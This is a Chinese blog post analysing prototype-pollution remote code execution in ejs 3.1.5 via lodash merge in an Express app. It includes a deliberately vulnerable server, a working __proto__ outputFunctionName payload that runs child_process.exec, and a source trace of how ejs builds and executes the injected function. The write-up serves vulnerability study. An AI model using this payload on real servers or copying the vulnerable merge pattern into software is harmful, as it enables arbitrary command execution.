当前位置:   article > 正文

ejs原型链污染rce分析_ejs rce

ejs rce

记录自己的理解,有什么不对的欢迎各位师傅指正。

一、环境搭建

  1. npm install ejs@3.1.5
  2. npm install lodash@4.17.4
  3. npm install express

注意这里的ejs版本需要低一些,因为高版本修复了该漏洞。加了一些正则匹配,如果出现outputFunctionName is not a valid JS identifier错误的话,证明你的版本比较高。

index.js

  1. var express = require('express');
  2. var _= require('lodash');
  3. var ejs = require('ejs');
  4. var app = express();
  5. //设置模板的位置
  6. app.set('views', __dirname);
  7. //对原型进行污染
  8. // var malicious_payload = '{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec(\'calc\');var __tmp2"}}';
  9. //进行渲染
  10. app.get('/', function (req, res) {
  11. var malicious_payload = req.query.malicious_payload;
  12. _.merge({}, JSON.parse(malicious_payload));
  13. res.render ("./test.ejs",{
  14. message: 'lufei test '
  15. });
  16. });
  17. //设置http
  18. var server = app.listen(8888, function () {
  19. var port = server.address().port
  20. console.log("应用实例,访问地址为 http://127.0.0.1:%s", port)
  21. });

test.ejs

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta charset="utf-8">
  5. <title></title>
  6. </head>
  7. <body>
  8. <h1><%= message%></h1>
  9. </body>
  10. </html>

二、漏洞复现

malicious_payload = {"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('calc');var __tmp2"}}

三、漏洞分析

3.1、流程分析

  1. var malicious_payload = req.query.malicious_payload;
  2. _.merge({}, JSON.parse(malicious_payload));

这里的代码获取我们传入的get参数。然后解析成json格式,接着调用merge函数,这样的话就会产生原型链污染。就理解成我们可以控制一些参数。

例如我们的payload,把Object对象的outputFunctionName的值设置为我们精心构造的值。

接下来我们思考如何如果用到这个值,以及在哪执行的代码。如何去构造这个payload。先从入口函数开始看。

  1. res.render ("./test.ejs",{
  2. message: 'lufei test '
  3. });

这边是调用response对象的render方法去渲染页面,第一个参数为模板文件路径。第二个是一个对象,里面就一个属性,message的属性值为lufei test,字符串类型。

  1. res.render = function render(view, options, callback) {
  2. var app = this.req.app;
  3. var done = callback;
  4. var opts = options || {};
  5. var req = this.req;
  6. var self = this;
  7. // support callback function as second arg
  8. if (typeof options === 'function') {
  9. done = options;
  10. opts = {};
  11. }
  12. // merge res.locals
  13. opts._locals = self.locals;
  14. // default callback to respond
  15. done = done || function (err, str) {
  16. if (err) return req.next(err);
  17. self.send(str);
  18. };
  19. // render
  20. app.render(view, opts, done);
  21. };

其中我们看到app.render(view, opts, done);这行代码,前面一些代码都不重要,这里调用了app对象里面的render方法,这边会进入到View这个文件的构造方法里。这里比较重要。

  1. function View(name, options) {
  2. var opts = options || {};
  3. this.defaultEngine = opts.defaultEngine;
  4. this.ext = extname(name);
  5. this.name = name;
  6. this.root = opts.root;
  7. if (!this.ext && !this.defaultEngine) {
  8. throw new Error('No default engine was specified and no extension was provided.');
  9. }
  10. var fileName = name;
  11. if (!this.ext) {
  12. // get extension from default engine name
  13. this.ext = this.defaultEngine[0] !== '.'
  14. ? '.' + this.defaultEngine
  15. : this.defaultEngine;
  16. fileName += this.ext;
  17. }
  18. if (!opts.engines[this.ext]) {
  19. // load engine
  20. var mod = this.ext.slice(1)
  21. debug('require "%s"', mod)
  22. // default engine export
  23. var fn = require(mod).__express
  24. if (typeof fn !== 'function') {
  25. throw new Error('Module "' + mod + '" does not provide a view engine.')
  26. }
  27. opts.engines[this.ext] = fn
  28. }

可以看到,我们传入的name是./test.ejs,通过extname可以获取到.ejs,然后偶他会判断后缀名是否不存在,或者不存在默认的引擎。然后再判断一次是否不存在后缀。我们这边都不满足,所以都跳过了。

接着判断是否不在这个opts.engines里面,相当于引擎容器,这时是空的,所以一定会进去。里面的代码好好看看,先把第一个.字符截取掉,然后去require这个ejs模块,将__express赋值给fn。我们看看__express是什么。

__express就是exports.renderFile这个函数。然后将fn赋值给opts.engines[this.ext],然后赋值给this.engine。这边记住这个this.engine。继续从app.render分析。

  1. app.render = function render(name, options, callback) {
  2. var cache = this.cache;
  3. var done = callback;
  4. var engines = this.engines;
  5. var opts = options;
  6. var renderOptions = {};
  7. var view;
  8. // support callback function as second arg
  9. if (typeof options === 'function') {
  10. done = options;
  11. opts = {};
  12. }
  13. // merge app.locals
  14. merge(renderOptions, this.locals);
  15. // merge options._locals
  16. if (opts._locals) {
  17. merge(renderOptions, opts._locals);
  18. }
  19. // merge options
  20. merge(renderOptions, opts);
  21. // set .cache unless explicitly provided
  22. if (renderOptions.cache == null) {
  23. renderOptions.cache = this.enabled('view cache');
  24. }
  25. // primed cache
  26. if (renderOptions.cache) {
  27. view = cache[name];
  28. }
  29. // view
  30. if (!view) {
  31. var View = this.get('view');
  32. view = new View(name, {
  33. defaultEngine: this.get('view engine'),
  34. root: this.get('views'),
  35. engines: engines
  36. });
  37. if (!view.path) {
  38. var dirs = Array.isArray(view.root) && view.root.length > 1
  39. ? 'directories "' + view.root.slice(0, -1).join('", "') + '" or "' + view.root[view.root.length - 1] + '"'
  40. : 'directory "' + view.root + '"'
  41. var err = new Error('Failed to lookup view "' + name + '" in views ' + dirs);
  42. err.view = view;
  43. return done(err);
  44. }
  45. // prime the cache
  46. if (renderOptions.cache) {
  47. cache[name] = view;
  48. }
  49. }
  50. // render
  51. tryRender(view, renderOptions, done);
  52. };

中间的一些代码也不是很重要,其中最后一行代码调用了tryRender方法,我们继续跟进。

  1. function tryRender(view, options, callback) {
  2. try {
  3. view.render(options, callback);
  4. } catch (err) {
  5. callback(err);
  6. }
  7. }

代码来到try里面。调用view对象的render方法。

然后调用this.engine这个函数,这个函数其实就是ejs里面的rendFile函数。前面我们分析过为什么了。然后继续跟进。

  1. exports.renderFile = function () {
  2. var args = Array.prototype.slice.call(arguments);
  3. var filename = args.shift();
  4. var cb;
  5. var opts = {filename: filename};
  6. var data;
  7. var viewOpts;
  8. // Do we have a callback?
  9. if (typeof arguments[arguments.length - 1] == 'function') {
  10. cb = args.pop();
  11. }
  12. // Do we have data/opts?
  13. if (args.length) {
  14. // Should always have data obj
  15. data = args.shift();
  16. // Normal passed opts (data obj + opts obj)
  17. if (args.length) {
  18. // Use shallowCopy so we don't pollute passed in opts obj with new vals
  19. utils.shallowCopy(opts, args.pop());
  20. }
  21. // Special casing for Express (settings + opts-in-data)
  22. else {
  23. // Express 3 and 4
  24. if (data.settings) {
  25. // Pull a few things from known locations
  26. if (data.settings.views) {
  27. opts.views = data.settings.views;
  28. }
  29. if (data.settings['view cache']) {
  30. opts.cache = true;
  31. }
  32. // Undocumented after Express 2, but still usable, esp. for
  33. // items that are unsafe to be passed along with data, like `root`
  34. viewOpts = data.settings['view options'];
  35. if (viewOpts) {
  36. utils.shallowCopy(opts, viewOpts);
  37. }
  38. }
  39. // Express 2 and lower, values set in app.locals, or people who just
  40. // want to pass options in their data. NOTE: These values will override
  41. // anything previously set in settings or settings['view options']
  42. utils.shallowCopyFromList(opts, data, _OPTS_PASSABLE_WITH_DATA_EXPRESS);
  43. }
  44. opts.filename = filename;
  45. }
  46. else {
  47. data = {};
  48. }
  49. return tryHandleCache(opts, data, cb);
  50. };

继续最后一行,执行tryHandleCache方法。跟进。

cb是存在的回调函数,所以不进入if,进入else。这里注意,调用了handleCache方法,肯定会返回一个函数的。因为在后面加了(data)。会去调用这个函数。

继续跟进handleCache函数。

然后来到exports.compile函数,里面传了两个参数第一个是模板。通过前面文件读取test.ejs里面的内容获取的值。第二个是一个对象。继续跟进。

可以看到最后调用了templ.compile。编译模板文件。继续跟进。

注意看。this.source此时为空,进入if。然后看到代码

  1. if (opts.outputFunctionName) {
  2. prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
  3. }

如果opts里面存在outputFunctionName属性的话。就进行字符串拼接。然后赋值给prepended属性。

接着将prependedp拼接传入给了this.source。

然后赋值给了src属性。这里的ctor就是Function。也就是这里创建了一个函数,第一个参数就是函数需要传入的变量,第二个参数就是函数执行的内容。那么第二个参数我们如果能控制的话,并且调用了这个函数,就可以任意代码执行。

下面刚好调用了apply方法,执行了这个函数。这里也是代码执行的点。

但是他并不会直接执行这里的代码,前面有一个三元运算符,opts.client为true的话,就将fn赋值给returnedFn,这里他是false。所以将anonymous这个函数赋值给returnedFn。然后ruturn返回。一直返回到我们之前说的那个调用这个函数的地方。最后才会进入这个函数里面去调用。最终执行代码。

3.2、payload构造

我们先梳理一下漏洞的产生。

  • 需要有一个原型链污染,这样我们可以控制一些没有赋值的变量

  • 在ejs渲染的时候会去拼接outputFunctionName这个变量。赋值给src

  • 然后运行src代码

那么我们构造payload就需要知道拼接是怎么拼接的。代码如下。

  1. if (opts.outputFunctionName) {
  2. prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
  3. }

其中prepended为

var __output = "";

function __append(s) { if (s !== undefined && s !== null) __output += s }

然后加上var ,接着加上我们的payload。然后加上= __append;

。整理一下 如下代码。

  1. var __output = "";
  2. function __append(s) { if (s !== undefined && s !== null) __output += s }
  3. var [payload拼接所在的 地方] = __append;

那么我们将payload设置为

_tmp1;global.process.mainModule.require('child_process').exec('calc');var __tmp2"}}

最终的代码会变成

  1. var __output = "";
  2. function __append(s) { if (s !== undefined && s !== null) __output += s }
  3. var _tmp1;global.process.mainModule.require('child_process').exec('calc');var __tmp2 = __append;

最终成为一个可以运行的代码。

参考

https://xz.aliyun.com/t/7075#toc-5

https://evi0s.com/2019/08/30/expresslodashejs-%E4%BB%8E%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93%E5%88%B0rce/

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/花生_TL007/article/detail/513772
推荐阅读
相关标签
  

闽ICP备14008679号